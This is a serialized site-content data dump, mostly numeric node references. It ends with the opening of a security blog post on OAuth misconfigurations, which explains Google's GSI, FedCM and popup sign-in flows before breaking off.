4,98238],{"type":24,"tag":83,"props":98235,"children":98236},{"style":117},[98237],{"type":29,"value":1469},{"type":24,"tag":83,"props":98239,"children":98240},{"style":107},[98241],{"type":29,"value":125},{"type":24,"tag":83,"props":98243,"children":98244},{"class":85,"line":406},[98245,98249,98253,98257,98261,98265,98269,98273,98277],{"type":24,"tag":83,"props":98246,"children":98247},{"style":90},[98248],{"type":29,"value":1481},{"type":24,"tag":83,"props":98250,"children":98251},{"style":137},[98252],{"type":29,"value":1486},{"type":24,"tag":83,"props":98254,"children":98255},{"style":143},[98256],{"type":29,"value":146},{"type":24,"tag":83,"props":98258,"children":98259},{"style":137},[98260],{"type":29,"value":1131},{"type":24,"tag":83,"props":98262,"children":98263},{"style":107},[98264],{"type":29,"value":161},{"type":24,"tag":83,"props":98266,"children":98267},{"style":137},[98268],{"type":29,"value":1140},{"type":24,"tag":83,"props":98270,"children":98271},{"style":107},[98272],{"type":29,"value":1161},{"type":24,"tag":83,"props":98274,"children":98275},{"style":245},[98276],{"type":29,"value":1166},{"type":24,"tag":83,"props":98278,"children":98279},{"style":107},[98280],{"type":29,"value":1515},{"type":24,"tag":83,"props":98282,"children":98283},{"class":85,"line":427},[98284,98288,98292,98296,98300,98304],{"type":24,"tag":83,"props":98285,"children":98286},{"style":117},[98287],{"type":29,"value":276},{"type":24,"tag":83,"props":98289,"children":98290},{"style":107},[98291],{"type":29,"value":223},{"type":24,"tag":83,"props":98293,"children":98294},{"style":137},[98295],{"type":29,"value":1531},{"type":24,"tag":83,"props":98297,"children":98298},{"style":107},[98299],{"type":29,"value":161},{"type":24,"tag":83,"props":98301,"children":98302},{"style":137},[98303],{"type":29,"value":1540},{"type":24,"tag":83,"props":98305,"children":98306},{"style":107},[98307],{"type":29,"value":253},{"type":24,"tag":83,"props":98309,"children":98310},{"class":85,"line":440},[98311,98315,98319,98323,98327,98331],{"type":24,"tag":83,"props":98312,"children":98313},{"style":137},[98314],{"type":29,"value":1552},{"type":24,"tag":83,"props":98316,"children":98317},{"style":143},[98318],{"type":29,"value":146},{"type":24,"tag":83,"props":98320,"children":98321},{"style":137},[98322],{"type":29,"value":1486},{"type":24,"tag":83,"props":98324,"children":98325},{"style":107},[98326],{"type":29,"value":161},{"type":24,"tag":83,"props":98328,"children":98329},{"style":137},[98330],{"type":29,"value":1540},{"type":24,"tag":83,"props":98332,"children":98333},{"style":107},[98334],{"type":29,"value":321},{"type":24,"tag":83,"props":98336,"children":98337},{"class":85,"line":449},[98338],{"type":24,"tag":83,"props":98339,"children":98340},{"style":107},[98341],{"type":29,"value":364},{"type":24,"tag":83,"props":98343,"children":98344},{"class":85,"line":458},[98345,98349,98353,98357,98361,98365,98369,98373,98377],{"type":24,"tag":83,"props":98346,"children":98347},{"style":90},[98348],{"type":29,"value":1587},{"type":24,"tag":83,"props":98350,"children":98351},{"style":137},[98352],{"type":29,"value":1592},{"type":24,"tag":83,"props":98354,"children":98355},{"style":143},[98356],{"type":29,"value":146},{"type":24,"tag":83,"props":98358,"children":98359},{"style":101},[98360],{"type":29,"value":1203},{"type":24,"tag":83,"props":98362,"children":98363},{"style":107},[98364],{"type":29,"value":558},{"type":24,"tag":83,"props":98366,"children":98367},{"style":137},[98368],{"type":29,"value":1531},{"type":24,"tag":83,"props":98370,"children":98371},{"style":107},[98372],{"type":29,"value":568},{"type":24,"tag":83,"props":98374,"children":98375},{"style":90},[98376],{"type":29,"value":1617},{"type":24,"tag":83,"props":98378,"children":98379},{"style":107},[98380],{"type":29,"value":581},{"type":24,"tag":83,"props":98382,"children":98383},{"class":85,"line":1065},[98384,98388,98392,98396,98400,98404,98408,98412,98416,98420],{"type":24,"tag":83,"props":98385,"children":98386},{"style":117},[98387],{"type":29,"value":276},{"type":24,"tag":83,"props":98389,"children":98390},{"style":107},[98391],{"type":29,"value":223},{"type":24,"tag":83,"props":98393,"children":98394},{"style":137},[98395],{"type":29,"value":1103},{"type":24,"tag":83,"props":98397,"children":98398},{"style":107},[98399],{"type":29,"value":161},{"type":24,"tag":83,"props":98401,"children":98402},{"style":137},[98403],{"type":29,"value":1140},{"type":24,"tag":83,"props":98405,"children":98406},{"style":107},[98407],{"type":29,"value":1161},{"type":24,"tag":83,"props":98409,"children":98410},{"style":245},[98411],{"type":29,"value":1166},{"type":24,"tag":83,"props":98413,"children":98414},{"style":107},[98415],{"type":29,"value":1657},{"type":24,"tag":83,"props":98417,"children":98418},{"style":137},[98419],{"type":29,"value":1540},{"type":24,"tag":83,"props":98421,"children":98422},{"style":107},[98423],{"type":29,"value":253},{"type":24,"tag":83,"props":98425,"children":98426},{"class":85,"line":1668},[98427,98431,98435,98439,98443,98447,98451,98455,98459,98463],{"type":24,"tag":83,"props":98428,"children":98429},{"style":137},[98430],{"type":29,"value":1674},{"type":24,"tag":83,"props":98432,"children":98433},{"style":107},[98434],{"type":29,"value":161},{"type":24,"tag":83,"props":98436,"children":98437},{"style":137},[98438],{"type":29,"value":1140},{"type":24,"tag":83,"props":98440,"children":98441},{"style":107},[98442],{"type":29,"value":1161},{"type":24,"tag":83,"props":98444,"children":98445},{"style":245},[98446],{"type":29,"value":1166},{"type":24,"tag":83,"props":98448,"children":98449},{"style":107},[98450],{"type":29,"value":1657},{"type":24,"tag":83,"props":98452,"children":98453},{"style":137},[98454],{"type":29,"value":1540},{"type":24,"tag":83,"props":98456,"children":98457},{"style":143},[98458],{"type":29,"value":146},{"type":24,"tag":83,"props":98460,"children":98461},{"style":137},[98462],{"type":29,"value":1592},{"type":24,"tag":83,"props":98464,"children":98465},{"style":107},[98466],{"type":29,"value":321},{"type":24,"tag":83,"props":98468,"children":98469},{"class":85,"line":1713},[98470,98474,98478],{"type":24,"tag":83,"props":98471,"children":98472},{"style":107},[98473],{"type":29,"value":1719},{"type":24,"tag":83,"props":98475,"children":98476},{"style":117},[98477],{"type":29,"value":378},{"type":24,"tag":83,"props":98479,"children":98480},{"style":107},[98481],{"type":29,"value":125},{"type":24,"tag":83,"props":98483,"children":98484},{"class":85,"line":1730},[98485,98489,98493,98497,98501,98505,98509,98513,98517],{"type":24,"tag":83,"props":98486,"children":98487},{"style":137},[98488],{"type":29,"value":1674},{"type":24,"tag":83,"props":98490,"children":98491},{"style":107},[98492],{"type":29,"value":161},{"type":24,"tag":83,"props":98494,"children":98495},{"style":137},[98496],{"type":29,"value":1140},{"type":24,"tag":83,"props":98498,"children":98499},{"style":107},[98500],{"type":29,"value":1161},{"type":24,"tag":83,"props":98502,"children":98503},{"style":245},[98504],{"type":29,"value":1166},{"type":24,"tag":83,"props":98506,"children":98507},{"style":107},[98508],{"type":29,"value":1270},{"type":24,"tag":83,"props":98510,"children":98511},{"style":143},[98512],{"type":29,"value":1275},{"type":24,"tag":83,"props":98514,"children":98515},{"style":137},[98516],{"type":29,"value":1592},{"type":24,"tag":83,"props":98518,"children":98519},{"style":107},[98520],{"type":29,"value":321},{"type":24,"tag":83,"props":98522,"children":98523},{"class":85,"line":1770},[98524],{"type":24,"tag":83,"props":98525,"children":98526},{"style":107},[98527],{"type":29,"value":364},{"type":24,"tag":83,"props":98529,"children":98530},{"class":85,"line":1778},[98531,98535,98539,98543,98547],{"type":24,"tag":83,"props":98532,"children":98533},{"style":107},[98534],{"type":29,"value":373},{"type":24,"tag":83,"props":98536,"children":98537},{"style":117},[98538],{"type":29,"value":1295},{"type":24,"tag":83,"props":98540,"children":98541},{"style":107},[98542],{"type":29,"value":223},{"type":24,"tag":83,"props":98544,"children":98545},{"style":137},[98546],{"type":29,"value":1796},{"type":24,"tag":83,"props":98548,"children":98549},{"style":107},[98550],{"type":29,"value":1309},{"type":24,"tag":83,"props":98552,"children":98553},{"class":85,"line":1803},[98554],{"type":24,"tag":83,"props":98555,"children":98556},{"style":107},[98557],{"type":29,"value":455},{"type":24,"tag":83,"props":98559,"children":98560},{"class":85,"line":1811},[98561],{"type":24,"tag":83,"props":98562,"children":98563},{"style":107},[98564],{"type":29,"value":464},{"type":24,"tag":1818,"props":98566,"children":98567},{"id":1820},[98568],{"type":29,"value":1823},{"type":24,"tag":25,"props":98570,"children":98571},{},[98572],{"type":29,"value":1828},{"type":24,"tag":51,"props":98574,"children":98575},{"id":1831},[98576],{"type":29,"value":1834},{"type":24,"tag":25,"props":98578,"children":98579},{},[98580],{"type":29,"value":1839},{"type":24,"tag":25,"props":98582,"children":98583},{},[98584],{"type":29,"value":1844},{"type":24,"tag":51,"props":98586,"children":98587},{"id":1847},[98588],{"type":29,"value":1850},{"type":24,"tag":25,"props":98590,"children":98591},{},[98592],{"type":29,"value":1855},{"type":24,"tag":1818,"props":98594,"children":98595},{"id":1858},[98596,98597],{"type":29,"value":1861},{"type":24,"tag":32,"props":98598,"children":98600},{"className":98599},[],[98601],{"type":29,"value":1867},{"type":24,"tag":25,"props":98603,"children":98604},{},[98605],{"type":29,"value":1872},{"type":24,"tag":25,"props":98607,"children":98608},{},[98609,98610,98615,98616,98621,98622,98627],{"type":29,"value":1877},{"type":24,"tag":32,"props":98611,"children":98613},{"className":98612},[],[98614],{"type":29,"value":1883},{"type":29,"value":1885},{"type":24,"tag":32,"props":98617,"children":98619},{"className":98618},[],[98620],{"type":29,"value":1891},{"type":29,"value":1893},{"type":24,"tag":32,"props":98623,"children":98625},{"className":98624},[],[98626],{"type":29,"value":1867},{"type":29,"value":195},{"type":24,"tag":73,"props":98629,"children":98630},{"code":1902,"language":743,"meta":7,"className":1903,"style":7},[98631],{"type":24,"tag":32,"props":98632,"children":98633},{"__ignoreMap":7},[98634,98653,98672,98691],{"type":24,"tag":83,"props":98635,"children":98636},{"class":85,"line":86},[98637,98641,98645,98649],{"type":24,"tag":83,"props":98638,"children":98639},{"style":187},[98640],{"type":29,"value":1915},{"type":24,"tag":83,"props":98642,"children":98643},{"style":107},[98644],{"type":29,"value":1920},{"type":24,"tag":83,"props":98646,"children":98647},{"style":187},[98648],{"type":29,"value":1925},{"type":24,"tag":83,"props":98650,"children":98651},{"style":107},[98652],{"type":29,"value":989},{"type":24,"tag":83,"props":98654,"children":98655},{"class":85,"line":113},[98656,98660,98664,98668],{"type":24,"tag":83,"props":98657,"children":98658},{"style":187},[98659],{"type":29,"value":1937},{"type":24,"tag":83,"props":98661,"children":98662},{"style":107},[98663],{"type":29,"value":1920},{"type":24,"tag":83,"props":98665,"children":98666},{"style":187},[98667],{"type":29,"value":1946},{"type":24,"tag":83,"props":98669,"children":98670},{"style":107},[98671],{"type":29,"value":989},{"type":24,"tag":83,"props":98673,"children":98674},{"class":85,"line":128},[98675,98679,98683,98687],{"type":24,"tag":83,"props":98676,"children":98677},{"style":187},[98678],{"type":29,"value":1958},{"type":24,"tag":83,"props":98680,"children":98681},{"style":107},[98682],{"type":29,"value":1920},{"type":24,"tag":83,"props":98684,"children":98685},{"style":187},[98686],{"type":29,"value":1967},{"type":24,"tag":83,"props":98688,"children":98689},{"style":107},[98690],{"type":29,"value":989},{"type":24,"tag":83,"props":98692,"children":98693},{"class":85,"line":183},[98694,98698,98702],{"type":24,"tag":83,"props":98695,"children":98696},{"style":187},[98697],{"type":29,"value":1979},{"type":24,"tag":83,"props":98699,"children":98700},{"style":107},[98701],{"type":29,"value":1920},{"type":24,"tag":83,"props":98703,"children":98704},{"style":187},[98705],{"type":29,"value":1988},{"type":24,"tag":1818,"props":98707,"children":98708},{"id":1991},[98709,98710],{"type":29,"value":1994},{"type":24,"tag":32,"props":98711,"children":98713},{"className":98712},[],[98714],{"type":29,"value":2000},{"type":24,"tag":25,"props":98716,"children":98717},{},[98718,98723,98724,98729,98730,98735],{"type":24,"tag":32,"props":98719,"children":98721},{"className":98720},[],[98722],{"type":29,"value":2000},{"type":29,"value":2010},{"type":24,"tag":32,"props":98725,"children":98727},{"className":98726},[],[98728],{"type":29,"value":2016},{"type":29,"value":2018},{"type":24,"tag":32,"props":98731,"children":98733},{"className":98732},[],[98734],{"type":29,"value":1883},{"type":29,"value":2025},{"type":24,"tag":1818,"props":98737,"children":98738},{"id":2028},[98739,98740],{"type":29,"value":2031},{"type":24,"tag":2033,"props":98741,"children":98743},{"href":2035,"rel":98742},[2037],[98744],{"type":24,"tag":2040,"props":98745,"children":98746},{},[98747],{"type":29,"value":2044},{"type":24,"tag":25,"props":98749,"children":98750},{},[98751],{"type":29,"value":2049},{"type":24,"tag":25,"props":98753,"children":98754},{},[98755],{"type":29,"value":2054},{"type":24,"tag":73,"props":98757,"children":98758},{"code":2057,"language":743,"meta":7,"className":1903,"style":7},[98759],{"type":24,"tag":32,"props":98760,"children":98761},{"__ignoreMap":7},[98762,98773,98784,98795,98810,98817,98824,98835,98846,98865,98880,98887,98898,98917,98932,98939,98946],{"type":24,"tag":83,"props":98763,"children":98764},{"class":85,"line":86},[98765,98769],{"type":24,"tag":83,"props":98766,"children":98767},{"style":187},[98768],{"type":29,"value":2069},{"type":24,"tag":83,"props":98770,"children":98771},{"style":107},[98772],{"type":29,"value":2074},{"type":24,"tag":83,"props":98774,"children":98775},{"class":85,"line":113},[98776,98780],{"type":24,"tag":83,"props":98777,"children":98778},{"style":137},[98779],{"type":29,"value":2082},{"type":24,"tag":83,"props":98781,"children":98782},{"style":107},[98783],{"type":29,"value":2074},{"type":24,"tag":83,"props":98785,"children":98786},{"class":85,"line":128},[98787,98791],{"type":24,"tag":83,"props":98788,"children":98789},{"style":137},[98790],{"type":29,"value":2094},{"type":24,"tag":83,"props":98792,"children":98793},{"style":107},[98794],{"type":29,"value":2074},{"type":24,"tag":83,"props":98796,"children":98797},{"class":85,"line":183},[98798,98802,98806],{"type":24,"tag":83,"props":98799,"children":98800},{"style":137},[98801],{"type":29,"value":2106},{"type":24,"tag":83,"props":98803,"children":98804},{"style":107},[98805],{"type":29,"value":1920},{"type":24,"tag":83,"props":98807,"children":98808},{"style":90},[98809],{"type":29,"value":2115},{"type":24,"tag":83,"props":98811,"children":98812},{"class":85,"line":203},[98813],{"type":24,"tag":83,"props":98814,"children":98815},{"style":107},[98816],{"type":29,"value":364},{"type":24,"tag":83,"props":98818,"children":98819},{"class":85,"line":212},[98820],{"type":24,"tag":83,"props":98821,"children":98822},{"style":107},[98823],{"type":29,"value":2130},{"type":24,"tag":83,"props":98825,"children":98826},{"class":85,"line":256},[98827,98831],{"type":24,"tag":83,"props":98828,"children":98829},{"style":137},[98830],{"type":29,"value":2138},{"type":24,"tag":83,"props":98832,"children":98833},{"style":107},[98834],{"type":29,"value":2074},{"type":24,"tag":83,"props":98836,"children":98837},{"class":85,"line":270},[98838,98842],{"type":24,"tag":83,"props":98839,"children":98840},{"style":137},[98841],{"type":29,"value":2094},{"type":24,"tag":83,"props":98843,"children":98844},{"style":107},[98845],{"type":29,"value":2074},{"type":24,"tag":83,"props":98847,"children":98848},{"class":85,"line":302},[98849,98853,98857,98861],{"type":24,"tag":83,"props":98850,"children":98851},{"style":137},[98852],{"type":29,"value":2161},{"type":24,"tag":83,"props":98854,"children":98855},{"style":107},[98856],{"type":29,"value":1920},{"type":24,"tag":83,"props":98858,"children":98859},{"style":90},[98860],{"type":29,"value":1237},{"type":24,"tag":83,"props":98862,"children":98863},{"style":107},[98864],{"type":29,"value":989},{"type":24,"tag":83,"props":98866,"children":98867},{"class":85,"line":324},[98868,98872,98876],{"type":24,"tag":83,"props":98869,"children":98870},{"style":137},[98871],{"type":29,"value":2181},{"type":24,"tag":83,"props":98873,"children":98874},{"style":107},[98875],{"type":29,"value":1920},{"type":24,"tag":83,"props":98877,"children":98878},{"style":90},[98879],{"type":29,"value":2115},{"type":24,"tag":83,"props":98881,"children":98882},{"class":85,"line":345},[98883],{"type":24,"tag":83,"props":98884,"children":98885},{"style":107},[98886],{"type":29,"value":2197},{"type":24,"tag":83,"props":98888,"children":98889},{"class":85,"line":358},[98890,98894],{"type":24,"tag":83,"props":98891,"children":98892},{"style":137},[98893],{"type":29,"value":2205},{"type":24,"tag":83,"props":98895,"children":98896},{"style":107},[98897],{"type":29,"value":2074},{"type":24,"tag":83,"props":98899,"children":98900},{"class":85,"line":367},[98901,98905,98909,98913],{"type":24,"tag":83,"props":98902,"children":98903},{"style":137},[98904],{"type":29,"value":2217},{"type":24,"tag":83,"props":98906,"children":98907},{"style":107},[98908],{"type":29,"value":1920},{"type":24,"tag":83,"props":98910,"children":98911},{"style":90},[98912],{"type":29,"value":1237},{"type":24,"tag":83,"props":98914,"children":98915},{"style":107},[98916],{"type":29,"value":989},{"type":24,"tag":83,"props":98918,"children":98919},{"class":85,"line":406},[98920,98924,98928],{"type":24,"tag":83,"props":98921,"children":98922},{"style":137},[98923],{"type":29,"value":2237},{"type":24,"tag":83,"props":98925,"children":98926},{"style":107},[98927],{"type":29,"value":1920},{"type":24,"tag":83,"props":98929,"children":98930},{"style":90},[98931],{"type":29,"value":2115},{"type":24,"tag":83,"props":98933,"children":98934},{"class":85,"line":427},[98935],{"type":24,"tag":83,"props":98936,"children":98937},{"style":107},[98938],{"type":29,"value":364},{"type":24,"tag":83,"props":98940,"children":98941},{"class":85,"line":440},[98942],{"type":24,"tag":83,"props":98943,"children":98944},{"style":107},[98945],{"type":29,"value":446},{"type":24,"tag":83,"props":98947,"children":98948},{"class":85,"line":449},[98949],{"type":24,"tag":83,"props":98950,"children":98951},{"style":107},[98952],{"type":29,"value":464},{"type":24,"tag":25,"props":98954,"children":98955},{},[98956,98957,98962,98963,98968,98969,98974,98975,98980,98981,98986],{"type":29,"value":2271},{"type":24,"tag":32,"props":98958,"children":98960},{"className":98959},[],[98961],{"type":29,"value":2277},{"type":29,"value":2279},{"type":24,"tag":32,"props":98964,"children":98966},{"className":98965},[],[98967],{"type":29,"value":2285},{"type":29,"value":2287},{"type":24,"tag":32,"props":98970,"children":98972},{"className":98971},[],[98973],{"type":29,"value":487},{"type":29,"value":2294},{"type":24,"tag":32,"props":98976,"children":98978},{"className":98977},[],[98979],{"type":29,"value":2300},{"type":29,"value":2287},{"type":24,"tag":32,"props":98982,"children":98984},{"className":98983},[],[98985],{"type":29,"value":2307},{"type":29,"value":2309},{"type":24,"tag":25,"props":98988,"children":98989},{},[98990],{"type":29,"value":2314},{"type":24,"tag":25,"props":98992,"children":98993},{},[98994,98995,99000],{"type":29,"value":2319},{"type":24,"tag":2033,"props":98996,"children":98998},{"href":2322,"rel":98997},[2037],[98999],{"type":29,"value":2326},{"type":29,"value":161},{"type":24,"tag":1818,"props":99002,"children":99003},{"id":2330},[99004],{"type":29,"value":2333},{"type":24,"tag":25,"props":99006,"children":99007},{},[99008,99009,99014],{"type":29,"value":2338},{"type":24,"tag":32,"props":99010,"children":99012},{"className":99011},[],[99013],{"type":29,"value":37},{"type":29,"value":2345},{"type":24,"tag":63,"props":99016,"children":99017},{},[99018,99028,99037,99047],{"type":24,"tag":67,"props":99019,"children":99020},{},[99021,99022,99027],{"type":29,"value":2353},{"type":24,"tag":32,"props":99023,"children":99025},{"className":99024},[],[99026],{"type":29,"value":487},{"type":29,"value":2360},{"type":24,"tag":67,"props":99029,"children":99030},{},[99031,99032],{"type":29,"value":2365},{"type":24,"tag":32,"props":99033,"children":99035},{"className":99034},[],[99036],{"type":29,"value":2371},{"type":24,"tag":67,"props":99038,"children":99039},{},[99040,99041,99046],{"type":29,"value":2376},{"type":24,"tag":32,"props":99042,"children":99044},{"className":99043},[],[99045],{"type":29,"value":487},{"type":29,"value":98},{"type":24,"tag":67,"props":99048,"children":99049},{},[99050],{"type":29,"value":2387},{"type":24,"tag":25,"props":99052,"children":99053},{},[99054,99055,99060],{"type":29,"value":2392},{"type":24,"tag":32,"props":99056,"children":99058},{"className":99057},[],[99059],{"type":29,"value":2398},{"type":29,"value":2400},{"type":24,"tag":73,"props":99062,"children":99063},{"code":2403,"language":743,"meta":7,"className":1903,"style":7},[99064],{"type":24,"tag":32,"props":99065,"children":99066},{"__ignoreMap":7},[99067,99078,99089,99108,99123,99130],{"type":24,"tag":83,"props":99068,"children":99069},{"class":85,"line":86},[99070,99074],{"type":24,"tag":83,"props":99071,"children":99072},{"style":187},[99073],{"type":29,"value":2415},{"type":24,"tag":83,"props":99075,"children":99076},{"style":107},[99077],{"type":29,"value":2074},{"type":24,"tag":83,"props":99079,"children":99080},{"class":85,"line":113},[99081,99085],{"type":24,"tag":83,"props":99082,"children":99083},{"style":137},[99084],{"type":29,"value":2094},{"type":24,"tag":83,"props":99086,"children":99087},{"style":107},[99088],{"type":29,"value":2074},{"type":24,"tag":83,"props":99090,"children":99091},{"class":85,"line":128},[99092,99096,99100,99104],{"type":24,"tag":83,"props":99093,"children":99094},{"style":137},[99095],{"type":29,"value":2438},{"type":24,"tag":83,"props":99097,"children":99098},{"style":107},[99099],{"type":29,"value":1920},{"type":24,"tag":83,"props":99101,"children":99102},{"style":90},[99103],{"type":29,"value":1237},{"type":24,"tag":83,"props":99105,"children":99106},{"style":107},[99107],{"type":29,"value":989},{"type":24,"tag":83,"props":99109,"children":99110},{"class":85,"line":183},[99111,99115,99119],{"type":24,"tag":83,"props":99112,"children":99113},{"style":137},[99114],{"type":29,"value":2458},{"type":24,"tag":83,"props":99116,"children":99117},{"style":107},[99118],{"type":29,"value":1920},{"type":24,"tag":83,"props":99120,"children":99121},{"style":90},[99122],{"type":29,"value":2115},{"type":24,"tag":83,"props":99124,"children":99125},{"class":85,"line":203},[99126],{"type":24,"tag":83,"props":99127,"children":99128},{"style":107},[99129],{"type":29,"value":364},{"type":24,"tag":83,"props":99131,"children":99132},{"class":85,"line":212},[99133],{"type":24,"tag":83,"props":99134,"children":99135},{"style":107},[99136],{"type":29,"value":2130},{"type":24,"tag":25,"props":99138,"children":99139},{},[99140,99141,99146],{"type":29,"value":2485},{"type":24,"tag":32,"props":99142,"children":99144},{"className":99143},[],[99145],{"type":29,"value":2491},{"type":29,"value":161},{"type":24,"tag":25,"props":99148,"children":99149},{},[99150,99151,99156],{"type":29,"value":2497},{"type":24,"tag":32,"props":99152,"children":99154},{"className":99153},[],[99155],{"type":29,"value":2503},{"type":29,"value":2505},{"type":24,"tag":25,"props":99158,"children":99159},{},[99160],{"type":24,"tag":2510,"props":99161,"children":99162},{"alt":2512,"src":2513},[],{"type":24,"tag":25,"props":99164,"children":99165},{},[99166,99167,99172],{"type":29,"value":2519},{"type":24,"tag":32,"props":99168,"children":99170},{"className":99169},[],[99171],{"type":29,"value":487},{"type":29,"value":2526},{"type":24,"tag":73,"props":99174,"children":99175},{"code":2529},[99176],{"type":24,"tag":32,"props":99177,"children":99178},{"__ignoreMap":7},[99179],{"type":29,"value":2529},{"type":24,"tag":51,"props":99181,"children":99182},{"id":2537},[99183],{"type":29,"value":2540},{"type":24,"tag":25,"props":99185,"children":99186},{},[99187,99188,99193],{"type":29,"value":2545},{"type":24,"tag":2033,"props":99189,"children":99191},{"href":2548,"rel":99190},[2037],[99192],{"type":29,"value":2552},{"type":29,"value":2554},{"type":24,"tag":25,"props":99195,"children":99196},{},[99197],{"type":29,"value":2559},{"type":24,"tag":51,"props":99199,"children":99200},{"id":2562},[99201],{"type":29,"value":2565},{"type":24,"tag":25,"props":99203,"children":99204},{},[99205],{"type":29,"value":2570},{"type":24,"tag":25,"props":99207,"children":99208},{},[99209,99210,99215],{"type":29,"value":2575},{"type":24,"tag":32,"props":99211,"children":99213},{"className":99212},[],[99214],{"type":29,"value":2000},{"type":29,"value":2582},{"type":24,"tag":2584,"props":99217,"children":99218},{},[99219],{"type":29,"value":2588},{"title":7,"searchDepth":113,"depth":113,"links":99221},[99222,99225,99226,99232,99233],{"id":53,"depth":113,"text":56,"children":99223},[99224],{"id":1820,"depth":128,"text":1823},{"id":1831,"depth":113,"text":1834},{"id":1847,"depth":113,"text":1850,"children":99227},[99228,99229,99230,99231],{"id":1858,"depth":128,"text":2598},{"id":1991,"depth":128,"text":2600},{"id":2028,"depth":128,"text":2602},{"id":2330,"depth":128,"text":2333},{"id":2537,"depth":113,"text":2540},{"id":2562,"depth":113,"text":2565},{"_path":99235,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":99236,"description":99237,"date":99238,"author":99239,"image":99240,"isFeatured":16,"onBlogPage":16,"tags":99242,"body":99245,"_type":2606,"_id":101576,"_source":2608,"_file":101577,"_stem":101578,"_extension":2611},"/blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations","How We Broke Exchanges: A Deep Dive Into Authentication And Client-Side Bugs","OAuth misconfigurations show how common dev settings can lead to account takeovers. Explore real cases where failing to account for differences between desktop and mobile environments left SDKs, exchanges, and wallets vulnerable to exploits.","2025-10-16T12:00:00.000Z",[30952,11],{"src":99241,"width":14,"height":15},"/posts/oauth-misconfigurations/title.png",[99243,99244],"oAuth","exchanges",{"type":21,"children":99246,"toc":101563},[99247,99253,99258,99264,99284,99290,99295,99308,99313,99321,99335,99344,99353,99367,99375,99386,99446,99452,99464,99513,99519,99524,99537,99544,99555,99575,99594,99615,99621,99634,99639,99645,99664,100289,100294,100307,101168,101173,101178,101184,101189,101195,101200,101213,101253,101259,101272,101277,101310,101315,101320,101345,101350,101362,101519,101524,101528,101540,101545,101549,101554,101559],{"type":24,"tag":51,"props":99248,"children":99250},{"id":99249},"exploiting-oauth",[99251],{"type":29,"value":99252},"Exploiting OAuth",{"type":24,"tag":25,"props":99254,"children":99255},{},[99256],{"type":29,"value":99257},"Our main research focus was related to recent vulnerabilities we found in some of our audits. One common issue we find is related to OAuth misconfigurations that can be exploited to achieve account takeover. To understand the vulnerability and the exploit itself, we first need to dig into the different OAuth flows and the configurations that can be made in the Google Cloud Console.",{"type":24,"tag":1818,"props":99259,"children":99261},{"id":99260},"google-authentication-flows",[99262],{"type":29,"value":99263},"Google Authentication Flows",{"type":24,"tag":25,"props":99265,"children":99266},{},[99267,99269,99275,99277,99282],{"type":29,"value":99268},"During our research, we identified various Google Authentication flows that require different exploitation methods. The new/most recent flow is called GSI, which mainly uses ",{"type":24,"tag":32,"props":99270,"children":99272},{"className":99271},[],[99273],{"type":29,"value":99274},"postMessage",{"type":29,"value":99276}," for communication with the Relying Party (RP), and the old one mostly uses ",{"type":24,"tag":32,"props":99278,"children":99280},{"className":99279},[],[99281],{"type":29,"value":69481},{"type":29,"value":99283}," to send the token back to the RP.",{"type":24,"tag":18631,"props":99285,"children":99287},{"id":99286},"gsi-new-flow",[99288],{"type":29,"value":99289},"GSI (New Flow)",{"type":24,"tag":25,"props":99291,"children":99292},{},[99293],{"type":29,"value":99294},"The GSI flow also has two ways to authenticate the user to the RP:",{"type":24,"tag":16422,"props":99296,"children":99297},{},[99298,99303],{"type":24,"tag":67,"props":99299,"children":99300},{},[99301],{"type":29,"value":99302},"Using FedCM API",{"type":24,"tag":67,"props":99304,"children":99305},{},[99306],{"type":29,"value":99307},"Without using FedCM API",{"type":24,"tag":25,"props":99309,"children":99310},{},[99311],{"type":29,"value":99312},"FedCM (Federated Credentials Manager) is a new browser API that lets users authenticate natively to an RP using a third-party IdP.",{"type":24,"tag":25,"props":99314,"children":99315},{},[99316],{"type":24,"tag":2040,"props":99317,"children":99318},{},[99319],{"type":29,"value":99320},"FedCM Method",{"type":24,"tag":25,"props":99322,"children":99323},{},[99324,99326,99333],{"type":29,"value":99325},"The FedCM method basically follows this ",{"type":24,"tag":2033,"props":99327,"children":99330},{"href":99328,"rel":99329},"https://privacysandbox.google.com/cookies/fedcm/why#user-interaction",[2037],[99331],{"type":29,"value":99332},"user experience",{"type":29,"value":99334},". Users can log in by clicking a login button (which will open a \"choose your account\" prompt window) or by 1-tap UX (see images below).",{"type":24,"tag":25,"props":99336,"children":99337},{},[99338,99340],{"type":29,"value":99339},"The normal flow, clicking the \"sign in\" button:\n",{"type":24,"tag":2510,"props":99341,"children":99343},{"alt":2512,"src":99342},"/posts/oauth-misconfigurations/image1.png",[],{"type":24,"tag":25,"props":99345,"children":99346},{},[99347,99349],{"type":29,"value":99348},"One-Tap popup shown when you open the page:\n",{"type":24,"tag":2510,"props":99350,"children":99352},{"alt":2512,"src":99351},"/posts/oauth-misconfigurations/image2.png",[],{"type":24,"tag":25,"props":99354,"children":99355},{},[99356,99358,99365],{"type":29,"value":99357},"Both flows use FedCM API to authenticate using Google IdP service, which makes some CORS requests to the IdP server to return the token. After authenticating the first time, when the user returns to the same website after some time, it is possible to automatically reauthenticate using ",{"type":24,"tag":2033,"props":99359,"children":99362},{"href":99360,"rel":99361},"https://github.com/w3c-fedid/FedCM/issues/429",[2037],[99363],{"type":29,"value":99364},"FedCM auto-reauthentication",{"type":29,"value":99366},", which has certain preconditions that must be met.",{"type":24,"tag":25,"props":99368,"children":99369},{},[99370],{"type":24,"tag":2040,"props":99371,"children":99372},{},[99373],{"type":29,"value":99374},"Non-FedCM Method",{"type":24,"tag":25,"props":99376,"children":99377},{},[99378,99380,99385],{"type":29,"value":99379},"This method uses a popup window (or iframe) to open the Google OAuth consent page and return the token via ",{"type":24,"tag":32,"props":99381,"children":99383},{"className":99382},[],[99384],{"type":29,"value":99274},{"type":29,"value":195},{"type":24,"tag":63,"props":99387,"children":99388},{},[99389,99394,99418,99423,99434],{"type":24,"tag":67,"props":99390,"children":99391},{},[99392],{"type":29,"value":99393},"The user clicks the sign in button",{"type":24,"tag":67,"props":99395,"children":99396},{},[99397,99399,99405,99407,99412,99413],{"type":29,"value":99398},"RP opens a popup/iframe to ",{"type":24,"tag":2033,"props":99400,"children":99403},{"href":99401,"rel":99402},"https://accounts.google.com/o/oauth2/v2/auth",[2037],[99404],{"type":29,"value":99401},{"type":29,"value":99406}," with some important parameters like 